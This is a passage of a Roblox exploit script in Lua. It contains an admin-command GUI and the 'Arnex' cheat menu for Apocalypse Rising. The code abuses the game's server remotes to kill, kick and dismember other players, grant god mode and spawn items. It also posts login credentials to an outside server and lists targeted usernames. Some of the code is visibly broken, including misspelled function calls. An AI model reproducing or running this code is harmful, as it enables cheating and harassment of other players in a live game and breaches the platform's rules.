SPEAKER) FIX_LIGHTING() end) ADD_COMMAND('fixfog','fixfog',{'clrfog'}, function(ARGS, SPEAKER) _LIGHTING.FogColor = C3(191, 191, 191) _LIGHTING.FogEnd = 100000000 _LIGHTING.FogStart = 0 end) ADD_COMMAND('day','day',{}, function(ARGS, SPEAKER) _LIGHTING.TimeOfDay = 14 end) ADD_COMMAND('night','night',{}, function(ARGS, SPEAKER) _LIGHTING.TimeOfDay = 24 end) ADD_COMMAND('serverlock','serverlock',{'slock'}, function(ARGS, SPEAKER) SERVER_LOCKED = true end) ADD_COMMAND('unserverlock','unserverlock',{'unslock'}, function(ARGS, SPEAKER) SERVER_LOCKED = false end) ADD_COMMAND('fogend','fogend [int]',{}, function(ARGS, SPEAKER) _LIGHTING.FogEnd = ARGS[1] end) ADD_COMMAND('fogcolor','fogcolor [r] [g] [b]',{}, function(ARGS, SPEAKER) if ARGS[1] and ARGS[2] and ARGS[3] then _LIGHTING.FogColor = C3(ARGS[1], ARGS[2], ARGS[3]) end end) ADD_COMMAND('noclip','noclip',{}, function(ARGS, SPEAKER) NOCLIP = true JESUSFLY = false SWIM = false end) ADD_COMMAND('clip','clip',{}, function(ARGS, SPEAKER) NOCLIP = false end) ADD_COMMAND('jesusfly','jesusfly',{}, function(ARGS, SPEAKER) NOCLIP = false JESUSFLY = true SWIM = false end) ADD_COMMAND('nojfly','nojfly',{}, function(ARGS, SPEAKER) JESUSFLY = false end) ADD_COMMAND('swim','swim',{}, function(ARGS, SPEAKER) NOCLIP = false JESUSFLY = false SWIM = true end) ADD_COMMAND('noswim','noswim',{}, function(ARGS, SPEAKER) SWIM = false end) ADD_COMMAND('fly','fly',{}, function(ARGS, SPEAKER) sFLY() end) ADD_COMMAND('unfly','unfly',{}, function(ARGS, SPEAKER) NOFLY() end) ADD_COMMAND('prefix','prefix [string]',{}, function(ARGS, SPEAKER) if ARGS[1] then C_PREFIX = ARGS[1] NOTIFY('Changed prefix to \'' .. ARGS[1] .. '\'', 255, 255, 255) end end) ADD_COMMAND('version','version',{}, function(ARGS, SPEAKER) NOTIFY('VERSION | ' .. VERSION, 255, 255, 255) end) ADD_COMMAND('fe','fe',{}, function(ARGS, SPEAKER) spawn(function() CHECK_FE() end) end) function OPEN_COMMANDS() SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 30) SETH_MAIN.main.holder.holders.search.Visible = true end function CLOSE_COMMANDS() SETH_MAIN.main.holder.holders.search.Visible = false SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 0) end function OPEN_TAB(TAB) if not _CORE:FindFirstChild('seth_main') then OPEN_MAIN() end for a,b in pairs(SETH_MAIN.main.holder.holders:GetChildren()) do if b.Name ~= TAB then b.Visible = false else b.Visible = true end if TAB ~= 'cmds' then CLOSE_COMMANDS() else OPEN_COMMANDS() end end end ADD_COMMAND('serverinfo','serverinfo',{'sinfo'}, function(ARGS, SPEAKER) OPEN_TAB('server') end) ADD_COMMAND('admins','admins',{}, function(ARGS, SPEAKER) OPEN_TAB('admins') end) ADD_COMMAND('cmds','cmds',{'commands'}, function(ARGS, SPEAKER) OPEN_TAB('cmds') end) ADD_COMMAND('bans','bans',{}, function(ARGS, SPEAKER) OPEN_TAB('bans') end) ADD_COMMAND('fun','fun',{}, function(ARGS, SPEAKER) OPEN_TAB('fun') end) ADD_COMMAND('changelog','changelog',{}, function(ARGS, SPEAKER) OPEN_TAB('changelog') end) ADD_COMMAND('credits','credits',{}, function(ARGS, SPEAKER) OPEN_TAB('credits') end) MOUSE.KeyDown:connect(function(key) if key:byte() == 29 then if not NOCLIP then ECOMMAND('noclip') elseif NOCLIP then ECOMMAND('clip') end elseif key:byte() == 30 then if not JESUSFLY then ECOMMAND('jesusfly') elseif JESUSFLY then ECOMMAND('nojfly') end end end) -- / after loaded function CHECK_FE() if not workspace.FilteringEnabled then NOTIFY('Filtering is disabled', 50, 255, 50) elseif workspace.FilteringEnabled then NOTIFY('Filtering is ENABLED', 255, 50, 50) end end CMD_BAR_H.bar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true) local GOING_IN = true CMD_BAR_H.bar.Changed:connect(function() if CMD_BAR_H.bar.Text ~= 'press ; to execute a command' and CMD_BAR_H.bar.Focused and not GOING_IN then if CMD_BAR_H.bar.Text ~= '' then if not CMD_BAR_H.bar.Text:find(' ') then CMD_BAR_H.bar.commands.Visible = true CMD_BAR_H.bar.commands:ClearAllChildren() CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0) local Y_COMMANDS = 0 for i,v in pairs(COMMANDS) do if v.N:find(CMD_BAR_H.bar.Text) then CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 1, -200), 'InOut', 'Quad', 0.2, true) CMD_BAR_H.bar.commands.CanvasSize = CMD_BAR_H.bar.commands.CanvasSize + UDim2.new(0, 0, 0, 20) local COMMANDS_C = CMD_BAR_H.bar.commands_ex:Clone() COMMANDS_C.Position = UDim2.new(0, 0, 0, Y_COMMANDS) COMMANDS_C.Visible = true COMMANDS_C.Text = ' ' .. v.D COMMANDS_C.Parent = CMD_BAR_H.bar.commands Y_COMMANDS = Y_COMMANDS + 20 end end end else CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 0, 0), 'InOut', 'Quad', 0.2, true) CMD_BAR_H.bar.commands:ClearAllChildren() CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0) end end end) CMD_BAR_H.bar.FocusLost:connect(function() GOING_IN = true if CMD_BAR_H.bar.Text ~= '' then spawn(function() ECOMMAND(CMD_BAR_H.bar.Text, LP) end) end CMD_BAR_H.bar.commands:ClearAllChildren() CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0) CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 0, 0), 'InOut', 'Quad', 0.2, true) CMD_BAR_H.bar:TweenPosition(UDim2.new(0, -225, 1, -50), 'InOut', 'Quad', 0.5, true) end) MOUSE.KeyDown:connect(function(K) if K:byte() == 59 then GOING_IN = false CMD_BAR_H.bar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true) CMD_BAR_H.bar:CaptureFocus() end end) NOTIFY('Hello, ' .. _PLAYERS.LocalPlayer.Name, 255, 255, 255) CHECK_FE() end) Arnex.Name = "Arnex" Arnex.Parent = script2 Arnex.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) Arnex.BorderSizePixel = 0 Arnex.Position = UDim2.new(0.342639595, 0, 0.497663587, 0) Arnex.Size = UDim2.new(0, 200, 0, 50) Arnex.Font = Enum.Font.SourceSans Arnex.Text = "Arnex" Arnex.TextSize = 40 Arnex.MouseButton1Down:connect(function() -- made by clv, ray & avn have fun leeching local DevVersion = true; if DevVersion then local model = game:GetObjects("rbxassetid://889231903")[1]; model:FindFirstChild('Arnex').Parent = game:service'CoreGui'; model:FindFirstChild('ArnexLogin').Parent = game:service'Geometry'; end; print('beginning load with dev as',DevVersion); wait(); local Services = setmetatable({},{__index = function(self,req) return game:GetService(req) end}); local Player = Services.Players.LocalPlayer; local Mouse = Player:GetMouse(); local UIS = Services.UserInputService; local Arnex_Gui = Services.CoreGui:FindFirstChild('Arnex'); local GuiData = {}; local C = Arnex_Gui:FindFirstChild('Container'); local Immune = {}; local Messages = {}; local Loops = {}; local Noobs = {"keeganf", "yurps", "lqced", "stunnings", "InstantKarma", "Zealiance", "WWIIman1", "sergiu8957", "Narroby", "Blueice506", "bloody1", "Zladko", "Karterness", "Somberr", "WhosAstro", "SilentJoe2", "Estxban", "Sanbourne", "TaintedDreams", "TheForestWolf", "XrxshadowxX", "johanh2o", "anonymous12", "Milbert23", "Gusmanak", "matto323", "Narroby", "diseasterboy", "nilser2", "zamen40", "ipwnoobs5times", "TheRatchetHatchet", "DietWaWa", "Aueres", "pexf", "BioHazardous98", "Martin_Brodeur", "SpicyBuilderclub", "DorinTheBlackHammer", "Bobrules1111", "flamingsk8rdude", "MycarkeysJones", "OsmaniMiniMessi10", "alex25bossgoku", "natures_miracle", "JarlSoda", "XxDemonKingDiabloxX", "toothythedeer333", "MonsterGamerWar", "SkepticLemon", "kevin10222", "OddXman", "Lumism", "minibartmanthefirst", "ninjman123", "BeneficialBryan", "epicsarrowm djchickenwing0,FatherLogic", "Mandei", "SilasAnderson", "iReallyLegit", "FCEFEAR", "TheForestWolf", "Leyzor", "Axst", "XrxshadowxX", "claykillsu", "Sanbourne", "Gunmetry", "Shadingly", "Zolutions", "EvilCool", "deooon", "Jamie_Jr", "YouFoundRichard", "Slurpify", "opKSaint", "Cyptonite", "Re_try", "InternalTitan", "Recoilized", "fratels", "CunningBiscuit", "icyss", "concents", "SteffJonez", "flexai", "Neelan", "fentox", "laserpie"}; local EspData = {}; local Commands = {}; local RemoteBase = {}; local God = {}; local Vitals = {}; wait(); GuiData.Bases = {}; GuiData.Container = C; GuiData.GuiToggle = Arnex_Gui:FindFirstChild('OpenClose'); GuiData.Header = C:FindFirstChild('Header'); GuiData.Menu = C:FindFirstChild('LeftMenu'); GuiData.Back = C:FindFirstChild('BackP'); GuiData.Search = GuiData.Header:FindFirstChild('Search'); GuiData.Exec = GuiData.Header:FindFirstChild('Go'); GuiData.Buttons = GuiData.Back:FindFirstChild('Buttons'); GuiData.Input = GuiData.Back:FindFirstChild('Input'); GuiData.Login = Services.Geometry:FindFirstChild('ArnexLogin'); GuiData.Bases.Button = GuiData.Buttons:FindFirstChild('Button1'):Clone(); GuiData.Bases.Arg = GuiData.Input:FindFirstChild('Input1'):Clone(); GuiData.Bases.Submit = GuiData.Input:FindFirstChild('Input2'):Clone(); wait(); C.Active = true; C.Draggable = true; GuiData.Buttons.Button1:Destroy(); GuiData.Input.Input1:Destroy(); GuiData.Input.Input2:Destroy(); GuiData.Menu.Display.Credit.Text = "Made by Avn and Ray"; GuiData.OrigPos = C.Position; player = Player; print'Variables success'; -- Init -- function dump(data) local send = '\n[== ARNEX debug dump begin ==]\n' for i,v in next,data do send = send.."\ndebug key ["..tostring(i).."] => "..tostring(v); end; send = send..'\n\n[== ARNEX debug dump end ==]' warn(send); end; if getrenv then _G = getrenv()._G; shared = getrenv().shared; elseif getgenv then _G = getgenv()._G; shared = getgenv().shared; else warn('[ARNEX] Unexpected error.. Some commands will be unavailable, report this dump to a dev and we will attempt to fix'); dump({ type = 'Launch error', gEnv = getgenv or 'nil', gREnv = getrenv or 'nil', Sh = shared, G = _G or 'nil', }); _G = setmetatable(_G,{__index = function(s,r) return function() output('Command unavailable :( (Report F9 dump)') end end}); shared = setmetatable(shared,{__index = function(s,r) return function() output('Command unavailable :( (Report F9 dump)') end end}); end; function exit(hard) if not hard then game:Shutdown();workspace.Gravity=0/0;error(); else repeat spawn(error) until nil; end; end; function destroy(...) Services.Debris:AddItem(...,0) end; function checkReal(func) if not func then return false end; local p,_ = pcall(function() ("").dump(func) end); local y,_ = ypcall(function() ("").dump(func) end); local x,_ = xpcall(function() ("").dump(func) end,1); return not p and not y and not x end; if not Arnex_Gui or not GuiData.Login then dump{ type = 'Tampering', UI = Arnex_Gui, LGN = GuiData.Login, } exit(); elseif not DevVersion then pcall(function() local User = GuiData.Login.Container.UBox.Text; local Pass = User.Parent.PBox.Text; local Test = Services.HttpService:JSONDecode(game:HttpPost("https://rvgserver.herokuapp.com/arnex/topkek", Services.HttpService:JSONEncode{username=User,password=Pass,rbxu=Player.Name},true,"application/json")); if not Test.response then destroy(Arnex_Gui) destroy(GuiData.Login); exit(true); end end) end; for i,v in next,{"A_lmaz","yassofi","DIAAMND", "TanqR","hex_kill","Liamelly",("2v\108\99"):reverse()} do Immune[i] = v; end; for i,v in next,{"ARNEX Apoc Gui","All, others, and me work in ARNEX!","There are constant updates and fixes!","Found a bug? Report it to Avn or Ray!","Need help? Message #support in our discord","Have a suggestion? Message Avn or Ray"} do Messages[i] = v; end; indexLookup = function(s,r) for _,v in pairs(s) do if v == r then return v; end; end; end; setmetatable(Immune,{__index=indexLookup}); setmetatable(Noobs,{__index=indexLookup}); local EspBG = Instance.new("BillboardGui");EspBG.AlwaysOnTop = true;EspBG.Size = UDim2.new(0,100,0,20);EspBG.StudsOffset = Vector3.new(0,4,0);EspBG.Name = "ESP"; local EspLBL = Instance.new("TextLabel",EspBG);EspLBL.BackgroundTransparency = 1;EspLBL.Size = UDim2.new(1,0,1,0);EspLBL.Text = "";EspLBL.TextColor3 = Color3.new(1,1,1);EspLBL.TextStrokeColor3 = Color3.new(0,0,0);EspLBL.TextStrokeTransparency = 0;EspLBL.TextSize = 10; EspData.BG = EspBG; EspData.Label = EspLBL; ItemCodes={["AK-104"]=1037,["WindscreenGlass"]=184,["WaterBottle"]=209,["Watch"]=3001,["VehicleJack"]=3016,["Vegetables"]=214,["VS50"]=256,["Uzi"]=2015,["Ushanka"]=7014,["USP45Ammo"]=26,["USP45"]=2007,["Twinkies"]=212,["Tuna"]=4,["TrinityBeret"]=7015,["TomatoSoup"]=215,["TM46"]=257,["TEC9Ammo32"]=57,["TEC9Ammo20"]=56,["TEC9Ammo"]=20,["TEC-9"]=2005,["SurvivalPackTan"]=4009,["SurvivalPackGrey"]=4010,["SurvivalPackGreen"]=4011,["SurvivalPackBrown"]=4012,["Suppressor9"]=9007,["Suppressor762"]=9010,["Suppressor556"]=9009,["Suppressor545"]=9011,["Suppressor45"]=9008,["Spam"]=6,["SodaSprite"]=205,["SodaRoot"]=207,["SodaPepsi"]=7,["SodaPepper"]=9,["SodaMoxie"]=208,["SodaDew"]=202,["SodaCrush"]=201,["SodaCoke"]=8,["ShotgunAmmo"]=18,["Shotgun"]=1002,["ShadesGrey"]=8005,["ShadesBlack"]=8001,["ScrapMetal"]=183,["Sabre"]=3014,["SUSAT"]=9014,["STANAGAmmo50"]=52,["STANAGAmmo30"]=51,["STANAGAmmo100"]=53,["SKSAmmo"]=45,["SKS"]=1018,["SCAR-L"]=1022,["RoadFlare"]=251,["RevolverAmmo"]=25,["Revolver"]=2006,["ReinforcedWheel"]=189,["Reflex"]=9003,["RedChemlight"]=3020,["RedBeret"]=7013,["RawMeat"]=220,["Ranger"]=7003,["RamboClothingTop"]=5003,["RamboClothingBottom"]=6003,["Radio"]=3018,["RPK"]=1034,["Pringles"]=204,["PilotGreen"]=7010,["PilotBlack"]=7009,["Pasta"]=5,["Painkillers"]=12,["PaddedClothingTop"]=5002,["PaddedClothingBottom"]=6002,["PPSHAmmo"]=46,["PPSH"]=1019,["PP19Ammo64"]=58,["SmallCrate"]=38,["OmniLight"]=3015,["OTs-14"]=1036,["NagantAmmo"]=17,["Mosin-Nagant"]=1001,["Model459Ammo14"]=59,["Model459"]=2013,["Mk48Ammo"]=23,["Mk48"]=1005,["Mk23"]=2018,["Mk17"]=1031,["MilitaryPackGrime"]=4013,["MilitaryPackGrey"]=4015,["MilitaryPackGreen"]=4014,["MilitaryPackBlack"]=4016,["MaverickAmmo"]=27,["Maverick"]=1010,["Material6"]=36,["Material5"]=35,["Material4"]=34,["Material3"]=33,["Material2"]=32,["Material1"]=31,["Matches"]=3005,["MaskSpecOps"]=8009,["MaskPhantom"]=8013,["MaskMime"]=8008,["MaskMercenary"]=8007,["MaskHockey"]=8012,["Map"]=3003,["MakarovAmmo"]=16,["Makarov"]=2003,["MRE"]=10,["MP5Ammo"]=29,["MP5"]=1012,["M9Ammo32"]=55,["M9Ammo17"]=54,["M9Ammo"]=19,["M93R"]=2016,["M9"]=2004,["M870Ammo"]=28,["M870"]=1011,["M4A1"]=1004,["M3Ammo30"]=60,["M3"]=1028,["M249Ammo100"]=61,["M249"]=1024,["M1911Ammo"]=15,["M1911"]=2002,["M14"]=1016,["M1014"]=1027,["M14Ammo50"]=64,["M14Ammo30"]=63,["M14Ammo20"]=62,["M1Garand"]=1006,["Lemonade"]=206,["Laser"]=9006,["Kobra"]=9004,["Knife"]=3013,["KethArmorTop"]=5011,["KethArmorBottom"]=6011,["JerryCanEmpty"]=186,["JerryCan"]=185,["HornRimmed"]=8006,["Holo"]=9002,["HikingPackWhite"]=4006,["HikingPackOrange"]=4005,["HikingPackBrown"]=4008,["HikingPackBlue"]=4007,["Hatchet"]=3011,["HK417"]=1033,["HK21"]=1032,["GusArmorTop"]=5010,["GusArmorBottom"]=6010,["Grip"]=9005,["GreenChemlight"]=3021,["GarandAmmo"]=24,["GPS"]=3006,["G37"]=2017,["G36K"]=1023,["G3"]=1030,["G18"]=2011,["FuelTank"]=182,["Floodlight"]=37,["FlashlightSurvival"]=3009,["FlashlightOld"]=3008,["FlashlightMilitary"]=3010,["FlashlightAttachment"]=9012,["Firewood"]=250,["Firefighter"]=8004,["FedorovAmmo"]=44,["Fedorov"]=1017,["Fedora"]=7004,["FannyPackWhite"]=4002,["FannyPackTan"]=4001,["FannyPackPurple"]=4004,["FannyPackBlue"]=4003,["FAL"]=1029,["Eyepatch"]=8003,["Entrencher"]=3004,["EngineParts"]=181,["EnfieldAmmo"]=42,["Enfield"]=1015,["Detonator"]=3017,["Crowbar"]=3012,["CowlGreen"]=7002,["CowlBlack"]=7001,["Cowboy"]=7012,["CookedMeat"]=221,["Compass"]=3002,["ClothingTopFalse"]=5000,["ClothingBottomFalse"]=6000,["CivilianClothingTop"]=5001,["CivilianClothingBottom"]=6001,["ChocolateBar"]=211,["ChipsAhoy"]=213,["ChickenSoup"]=216,["CheezIts"]=203,["CarWheel"]=180,["CamoWoodlandsTop"]=5007,["CamoWoodlandsBottom"]=6007,["CamoUrbanTop"]=5005,["CamoUrbanBottom"]=6005,["CamoSpecialTop"]=5009,["CamoSpecialBottom"]=6009,["CamoSnowTop"]=5008,["CamoSnowBottom"]=6008,["CamoJungleTop"]=5006,["CamoJungleBottom"]=6006,["CamoDesertTop"]=5004,["CamoDesertBottom"]=6004,["CZ75Ammo"]=40,["CZ75"]=2010,["CCO"]=9001,["CBJ-MS"]=2014,["C4"]=255,["BrimmedBrown"]=7007,["BrimmedBlack"]=7008,["Bowler"]=7005,["BlueChemlight"]=3022,["BloodBag"]=11,["Binoculars"]=3007,["Biker"]=7006,["BeefStew"]=217,["BeefJerky"]=210,["Beans"]=3,["Beanie"]=7011,["BandanaSkull"]=8014,["BandanaRenegade"]=8011,["BandanaRed"]=8010,["BandanaBlack"]=8002,["BallisticUrban"]=7018,["BallisticSpecOps"]=7019,["BallisticJungle"]=7017,["BallisticGlass"]=187,["BallisticDesert"]=7016,["Auto-5"]=1025,["ArmorPlates"]=188,["AN-94"]=1040,["AKS-74U"]=1041,["AKM"]=1038,["AKAmmo75"]=67,["AKAmmo45"]=66,["AKAmmo30"]=65,["AK47Ammo75"]=50,["AK47Ammo40"]=49,["AK47Ammo30"]=48,["AK-74"]=1039,["AK-47"]=1003,["AK-12"]=1035,["ACOG"]=9013,["LargeCrate"]=39,["PP-19"]=1026,["Patriot"]=1021} print'Init success'; --- --- -- Functions -- function clearArgs() for i,v in next, GuiData.Input:GetChildren() do if not v:IsA("UIListLayout") then destroy(v) end end end function inverseTab(t) local ret={} for i,v in next, t do ret[v] = i; end return s end ItemCodes = inverseTab(ItemCodes); function toggleVisible() local Tween = GuiData.Container; GuiData.GuiOut = not GuiData.GuiOut; if not GuiData.GuiOut then GuiData.OrigPos = GuiData.Container.Position; end; Tween:TweenPosition(GuiData.GuiOut and GuiData.OrigPos or UDim2.new(-1,0,GuiData.OrigPos.X.Scale,0),"Out","Quad",.15,true) end; function fireRemote(rem,...) if type(rem) == 'string' then if RemoteBase[rem] then RemoteBase[rem]:FireServer(...) else if not workspace.Remote:FindFirstChild(rem) then warn('[ARNEX] Failed to get a remote, please report this dump to the devs!'); dump({ type = 'Remote fetch error', remote = rem, wrkspc = workspace, wrkspcT = typeof(workspace), }) else RemoteBase[rem] = workspace.Remote:FindFirstChild(rem); fireRemote(rem,...); end; end; elseif type(rem) == 'userdata' then rem:FireServer(...); end; end; function output(str) fireRemote('SendMessage', Player, 'Green', tostring(str)) end; function recurseSet(obj,mode) local function s(o,mode) for i,v in next, o:GetChildren() do if v:IsA("LocalScript") then v.Disabled = not v.Disabled; end; if #v:children() > 0 then s(v,mode); end; end end if obj:IsA("LocalScript") then obj.Disabled = mode; end s(obj,mode); end function clearButtons() for i,v in next, GuiData.Buttons:GetChildren() do if v.ClassName == "TextButton" then destroy(v); end end end; function getPlayer(name,mean) name = name:lower(); local ret = {}; if name == "me" then ret = {Player}; elseif name == "all" then ret = Services.Players:GetPlayers(); elseif name == "others" then ret = Services.Players:GetPlayers(); for i,v in next, ret do if v == Player then ret[i] = nil; break; end end else for i,v in next, Services.Players:GetPlayers() do if v.Name:lower():sub(1,#name) == name then ret = {v}; break; end end end for i,v in pairs(ret) do if Immune[v.Name] and Player ~= v and mean then fireRemove('SendMessage', v, "Yellow", "Someone is using ARNEX and attempted to use a bad command on you. You are protected by the ARNEX developers <3"); ret[i] = nil; end end return ret; end function recInvis(o) for i,v in next, o:GetChildren() do if v:IsA("BasePart") then shared.fireserver("BreakWindow2", v, true); end recInvis(v); end end function renderButtons() clearButtons(); for i,cmd in next, Commands do if cmd.cat == selected then local new = GuiData.Bases.Button:Clone(); new.Parent = GuiData.Buttons; new.Text = i; new.MouseButton1Down:connect(function() clearArgs(); for i,v in next, cmd.args do local arg = GuiData.Bases.Arg:Clone(); arg.Name = tostring(i); arg.Label.Text = v[1]; arg.TextBox.Text = v[2]; arg.Parent = GuiData.Input; end local submit = GuiData.Bases.Submit:Clone(); submit.Parent = GuiData.Input; submit.Name = "Submit"; submit.MouseButton1Click:connect(function() local args = {}; for i = 1, #cmd.args do args[#args+1] = GuiData.Input[tostring(i)].TextBox.Text; end cmd.func(unpack(args)); end) end) end end end function addcmd(category, name, args, func) local categories = {"Player","Vehicle","Spawning","Miscellaneous"}; Commands[name] = {cat=categories[category], ["args"]=args, ["func"]=func}; end function getNext(slots) for i,v in next, slots:GetChildren() do if v.Name:match("slot%d") and not v:FindFirstChild("ObjectID") then return v; end end end function placec4(p,explode) local c4 = Services.Lighting.Materials.C4Placed; fireRemove('PlaceMaterial',c4,p-c4:GetModelCFrame().p); local x; repeat x=workspace.ChildAdded:wait() until x.Name == "C4Placed"; _G.ChangeValue(x:WaitForChild("Owner"),Player.Name) if explode then fireRemove('Detonate',x); end end function getVehicle(noBikes) local selected; local min = math.huge; for i,v in next, workspace.Vehicles:GetChildren() do if v.PrimaryPart and (not noBikes or v.Name ~= "Bicycle") and v.Name ~= "VehicleWreck" then local dist = (player.Character.Head.Position-v.PrimaryPart.Position).magnitude; if dist < min then selected = v; min = dist; end end end return selected; end function makeC4() fireRemove('PlaceC4', Services.Lighting.Materials.C4Placed, Player.Character.Torso.Position, true); end function findVehicle(veh) for i,v in next, player.PlayerGui:GetChildren() do if v:IsA("BillboardGui") and v.Name == "ESPV" then if v.Adornee == veh.PrimaryPart then return true; end end end return false; end function removeGui() local addback = {gui={},char={}}; for i,v in pairs(Player.PlayerGui:GetChildren()) do addback.gui[#addback.gui+1] = v; recset(v, true); v.Parent = nil; end; for i,v in pairs(Player.Character:GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then addback.char[#addback.char+1] = v; v.Parent = nil; v.Disabled = true; end end return addback; end; function spawnx(plr,id,override) local slot = override or getNext(plr.playerstats.slots); for i,v in next, slot:GetChildren() do _G.Destruct(v); end shared.fireserver("AddObject",slot,tonumber(id)); end function loop(func, del) Loops[func] = {del = del or 0, exec = false}; return func; end; function suspendLoop(func) Loops[func] = nil; return true; end; print'Functions success'; --- --- -- Init + functions required -- UIS.InputBegan:connect(function(key, gpe) if key.KeyCode == Enum.KeyCode.Quote and not gpe then toggleVisible(); elseif key.KeyCode == Enum.KeyCode.LeftControl and Mouse.Target then if ctrlDestroy then _G.Destruct(Mouse.Target); end end end) GuiData.GuiToggle.MouseButton1Click:connect(function() toggleVisible(); end) GuiData.Exec.MouseButton1Click:connect(function() clearButtons(); for i,cmd in next, Commands do if i:gsub("%s",""):lower():match(searchbox.Text:lower():gsub("%s","")) then local new = GuiData.Bases.Button:Clone(); new.Parent = GuiData.Buttons; new.Text = i; new.MouseButton1Down:connect(function() clearArgs(); for i,v in next, cmd.args do local arg = GuiData.Bases.Arg:Clone(); arg.Name = tostring(i); arg.Label.Text = v[1]; arg.TextBox.Text = v[2]; arg.Parent = GuiData.Input; end local submit = GuiData.Bases.Submit:Clone(); submit.Parent = GuiData.Input; submit.Name = "Submit"; submit.MouseButton1Click:connect(function() local args = {}; for i = 1, #cmd.args do args[#args+1] = GuiData.Input[tostring(i)].TextBox.Text; end cmd.func(unpack(args)); end) end) end end end) for i,v in next, GuiData.Menu:GetChildren() do if v.ClassName == ("TextButton") then v.MouseButton1Click:connect(function() if selected == v.Name then v.TextColor3 = Color3.new(1,1,1); renderButtons(); elseif selected then GuiData.Menu[selected].TextColor3 = Color3.new(1,1,1) selected = v.Name; v.TextColor3 = Color3.new(0,1,0); renderButtons(); else selected = v.Name; v.TextColor3 = Color3.new(0,1,0); renderButtons(); end end) end end print'Init2 success'; --- --- -- Commands -- addcmd(1, "Kill", {{"Target","Player name"}}, function(target) for i,v in next, getPlayer(target, true) do pcall(_G.Destruct,v.Character.Head); end end) addcmd(4, "Fly", {}, function() if not flying then flying = true output('Flying enabled'); local torso = Player.Character.Torso; bv = Instance.new("BodyVelocity", torso) bg = Instance.new("BodyGyro", torso) bg.MaxTorque = Vector3.new(1000000000000, 1000000000000, 1000000000000) bv.MaxForce = Vector3.new(1000000000000, 1000000000000, 1000000000000) bv.P = 3000 local L_158_ = 300 keysEnabled = UIS.InputBegan:connect(function(key) local code = key.KeyCode; if code ~= Enum.KeyCode.W and code ~= Enum.KeyCode.A and code ~= Enum.KeyCode.S and code ~= Enum.KeyCode.D and code ~= Enum.KeyCode.Q and code ~= Enum.KeyCode.E then return end; local keyUp = true local keyup = game:GetService("UserInputService").InputEnded:connect(function(key2) if key2.KeyCode == code then keyUp = false keyup:disconnect(); end end) player.Character.Humanoid.Sit = true while keyUp and Player.Character.Humanoid.Sit and wait() do if code == Enum.KeyCode.W then bg.CFrame = torso.CFrame * CFrame.fromAxisAngle(Vector3.new(1, 0, 0), -math.pi / 10) end; if code == Enum.KeyCode.S then bg.CFrame = torso.CFrame * CFrame.fromAxisAngle(Vector3.new(1, 0, 0), math.pi / 10) end; if code == Enum.KeyCode.A then bg.CFrame = torso.CFrame * CFrame.fromAxisAngle(Vector3.new(0, 0, 1), math.pi / 10) end; if code == Enum.KeyCode.D then bg.CFrame = torso.CFrame * CFrame.fromAxisAngle(Vector3.new(0, 0, 1), -math.pi / 10) end; if code == Enum.KeyCode.Q then bg.CFrame = torso.CFrame * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), math.pi / 10) end; if code == Enum.KeyCode.E then bg.CFrame = torso.CFrame * CFrame.fromAxisAngle(Vector3.new(0, 1, 0), -math.pi / 10) end; if code == Enum.KeyCode.Up then L_158_ = L_158_ + 200 end; if code == Enum.KeyCode.Down then L_158_ = L_158_ - 200 end; bv.Velocity = bg.CFrame.lookVector * L_158_; end end) else output('Flying disabled') keysEnabled:disconnect() --keyup:disconnect() bv.Velocity = Vector3.new() bv:Destroy() bg:Destroy() flying = false; end end) addcmd(4, "Ctrl Destroy", {}, function() ctrlDestroy = not ctrlDestroy; output('Ctrl destroy is now '..ctrlDestroy and 'enabled' or 'disabled'); end) addcmd(1, "Kick", {{"Target","Player name"}}, function(target) for i,v in next, getPlayer(target, true) do local i,v = i,v -- local copy for the spawn thread pcall(_G.Destruct,v); spawn(function() wait(.1); if Services.Players:FindFirstChild(v.Name) then output('Failed to kick '..v.Name); else output('Kicked '..v.Name); end; end) end end) addcmd(1, "Invis", {{"Target", "me"}}, function(target) for i,v in next, getPlayer(target) do recInvis(v.Character); pcall(function() _G.Destruct(v.Character.Head:FindFirstChildOfClass("Decal")); end) end end) addcmd(4, "Message", {{"Message","Message to send"}, {"Color", "White/Red/Green/Yellow/Blue"}}, function(msg,clr) for i,v in next, Services.Players:GetPlayers() do fireRemove('SendMessage',v,clr,msg); end end) addcmd(4, "Noclip", {}, function() Noclip = not Noclip; if Noclip then output('Noclip enabled'); else output('Noclip enabled'); end; end) addcmd(1, "God mode", {}, function() _G.HealthSet("MaxHealth",math.huge); _G.HealthSet("Health",math.huge); end) addcmd(1, "Loopheal" , {{"Target", "me"}}, function(target) for i,v in next, getPlayer(target) do God[v] = not God[v]; end end) addcmd(4, "INF Stamina", {}, function() Stamina = not Stamina; end) addcmd(1, "Skin", {{"Target", "me"},{"PColor","Num"},{"PMaterial","Num"},{"SColor","Num"},{"SMaterial","Num"}}, function(target,pc,pm,sc,sm) for i,v in next, getPlayer(target) do pcall(function() local x; local t = v.playerstats.skins:GetChildren(); table.sort(t,function(a,b) return tonumber(a.Name:match("%d+")) < tonumber(b.Name:match("%d+")); end) for i,v in next, t do if v.Value == 0 then x = v; break; end end _G.ChangeValue(x, tonumber(pc)); _G.ChangeValue(x.material, tonumber(pm)); _G.ChangeValue(x.secondary, tonumber(sc)); _G.ChangeValue(x.secondary.material, tonumber(sm)); end) end end) addcmd(4, "Set Gravity", {{"Value","196.2"}}, function(n) workspace.Gravity = tonumber(n); end) addcmd(2, "God Car", {}, function() local veh = getVehicle(); _G.ChangeValue(veh.Stats.Armor.Max,999999999); _G.ChangeValue(veh.Stats.Armor,999999999); end) addcmd(2, "Horn Change", {{"SoundId","ID"}}, function(id) id = "rbxassetid://"..id; local veh = getVehicle(); _G.SoundIdSet(veh.PrimaryPart.Horn, id); end); addcmd(4, "RemoveLimbs", {{"Target", "Player name"}}, function(target) for i,v in next, getPlayer(target) do pcall(function() _G.Destruct(v.Character["Left Arm"]); 